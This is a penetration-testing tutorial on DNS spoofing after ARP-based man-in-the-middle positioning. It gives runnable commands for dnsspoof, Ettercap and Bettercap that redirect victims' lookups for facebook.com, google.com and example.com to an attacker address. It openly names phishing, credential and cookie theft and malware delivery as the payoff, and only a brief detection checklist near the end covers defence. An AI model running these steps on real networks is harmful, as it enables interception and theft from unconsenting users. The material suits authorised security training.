DNS spoofing redirects a victim’s DNS queries to an attacker-controlled IP instead of the legitimate destination. After performing ARP spoofing to position yourself as the man-in-the-middle, DNS spoofing lets you control where the victim’s browser or device connects. This allows phishing, credential stealing, malware delivery, and redirection to internal hosts during internal pentests.

How DNS Resolution Works

When a device visits a domain, it performs:

DNS query → asks DNS server for IP
DNS server responds with the real IP
Browser connects to that IP

DNS spoofing replaces step 2 with a fake response.
Because DNS uses UDP and lacks strong verification, attackers can respond faster than the legitimate DNS server.

Prerequisites for DNS Spoofing

DNS spoofing requires:

Attacker already MITM (usually via ARP spoofing)
Ability to intercept the victim’s DNS queries
A spoofing tool that injects fake DNS responses

Once MITM is established, DNS spoofing becomes effective.

Identifying DNS Queries

After ARP spoofing, monitor DNS traffic.

Capturing DNS Traffic

sudo tcpdump -i eth0 port 53

This shows the domains the victim is trying to resolve.

DNS Spoofing with `dnsspoof`

dnsspoof is a simple and common tool for DNS spoofing during MITM.

Creating a DNS Spoofing Hosts File

echo "10.10.10.50  facebook.com" | sudo tee dns.txt

Victim will be redirected to 10.10.10.50 whenever they visit facebook.com.

Running dnsspoof

sudo dnsspoof -i eth0 -f dns.txt

Any DNS request matching entries in dns.txt resolves to the attacker’s IP.

DNS Spoofing with Ettercap

Ettercap automates MITM and DNS spoofing.

Running Ettercap MITM with DNS Plugin

sudo ettercap -T -q -M arp /10.10.10.5/ /10.10.10.1/

Enabling DNS spoofing inside Ettercap

Edit:

sudo nano /etc/ettercap/etter.dns

Add:

google.com   A   10.10.10.50
*.google.com A   10.10.10.50

Then start spoofing:

sudo ettercap -T -q -M arp:remote /victim/ /gateway/

Victim will be redirected for any Google-related domain.

DNS Spoofing with Bettercap

Bettercap provides more advanced MITM and DNS spoofing capabilities.

Starting Bettercap

sudo bettercap -iface eth0

Enabling ARP Poisoning

net.probe on
net.recon on
arp.spoof on

Enabling DNS Spoofing

dns.spoof on

Adding Spoofing Rules

set dns.spoof.domains example.com
set dns.spoof.address 10.10.10.50

Bettercap automatically intercepts queries and replies with spoofed responses.

Detecting DNS Spoofing Activity

During testing, check whether:

Host receives incorrect DNS records
TTL values look unusual
DNSSEC is enabled
Network security tools detect forged responses
The real DNS server is bypassed

Networks without DNSSEC or internal segmentation are highly vulnerable.

What DNS Spoofing Enables

DNS spoofing supports many attack techniques, including:

Fake login portals
Malware downloads
Redirecting to internal hosts
Capturing cookies or sessions (over HTTP)
Forcing traffic through specific servers
Breaking domain-based firewall rules

It is a critical MITM capability for internal and external attack simulation.

Intel Dump

DNS spoofing replaces real DNS answers with attacker-controlled responses
dnsspoof, Ettercap, and Bettercap are common tools
Requires MITM position (ARP spoofing)
Spoofing rules map domains to malicious IPs
Effective for phishing, redirection, and internal network manipulation